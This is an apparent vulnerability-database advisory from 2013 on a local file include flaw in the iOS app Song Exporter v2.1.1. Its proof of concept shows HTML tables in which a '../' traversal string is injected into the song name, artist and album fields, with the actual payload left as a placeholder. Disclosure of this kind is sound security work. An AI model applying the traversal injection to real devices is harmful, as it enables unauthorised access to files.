Song Exporter v2.1.1 RS iOS文件包含漏洞

🗓️ 25 Dec 2013 00:00:00Reported by RootType
Song Exporter v2.1.1 RS iOS 文件包含漏洞 Proof of Concept (PoC

                                                Proof of Concept (PoC):
=======================
The local file include web vulnerabilities can be exploited by local attackers with physical device access or restricted user accounts without 
user interaction. For security demonstration or to reproduce follow the provided information and steps below.
 
PoC: Name (filename)
 
&lt;table style=&quot;width:780px&quot; id=&quot;maintable&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th class=&quot;asc&quot; width=&quot;60&quot;&gt;&lt;h3&gt;Pos&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;300&quot;&gt;&lt;h3&gt;Name&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;60&quot;&gt;&lt;h3&gt;Time&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;180&quot;&gt;&lt;h3&gt;Artist&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;180&quot;&gt;&lt;h3&gt;Album&lt;/h3&gt;&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class=&quot;evenrw&quot;&gt;&lt;td class=&quot;evensl&quot; align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://localhost:8080/songs/../[LOCAL FILE INCLUDE VULNERABILITY!]\.mp3&quot;&gt;[LOCAL FILE INCLUDE VULNERABILITY!].mp3&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;3:27&lt;/td&gt;
&lt;td&gt;Blumentopf&lt;/td&gt;
&lt;td&gt;Wir&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
 
PoC: Artist (name)
 
&lt;table style=&quot;width:780px&quot; id=&quot;maintable&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th class=&quot;asc&quot; width=&quot;60&quot;&gt;&lt;h3&gt;Pos&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;300&quot;&gt;&lt;h3&gt;Name&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;60&quot;&gt;&lt;h3&gt;Time&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;180&quot;&gt;&lt;h3&gt;Artist&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;180&quot;&gt;&lt;h3&gt;Album&lt;/h3&gt;&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class=&quot;evenrw&quot;&gt;&lt;td class=&quot;evensl&quot; align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://localhost:8080/songs/Blumentopf/Wir/Systemfuck.mp3&quot;&gt;Systemfuck.mp3&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;3:27&lt;/td&gt;
&lt;td&gt;../[LOCAL FILE INCLUDE VULNERABILITY!]\&lt;/td&gt;
&lt;td&gt;Wir&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
 
 
PoC: Album (name)
 
&lt;table style=&quot;width:780px&quot; id=&quot;maintable&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;
&lt;thead&gt;&lt;tr&gt;
&lt;th class=&quot;asc&quot; width=&quot;60&quot;&gt;&lt;h3&gt;Pos&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;300&quot;&gt;&lt;h3&gt;Name&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;60&quot;&gt;&lt;h3&gt;Time&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;180&quot;&gt;&lt;h3&gt;Artist&lt;/h3&gt;&lt;/th&gt;
&lt;th class=&quot;head&quot; width=&quot;180&quot;&gt;&lt;h3&gt;Album&lt;/h3&gt;&lt;/th&gt;
&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr class=&quot;evenrw&quot;&gt;&lt;td class=&quot;evensl&quot; align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://localhost:8080/songs/Blumentopf/Wir/Systemfuck.mp3&quot;&gt;Systemfuck.mp3&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;3:27&lt;/td&gt;
&lt;td&gt;Blumentopf&lt;/td&gt;
&lt;td&gt;../[LOCAL FILE INCLUDE VULNERABILITY!]\&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
25 Dec 2013 00:00Current
7.1High risk
Vulners AI Score7.1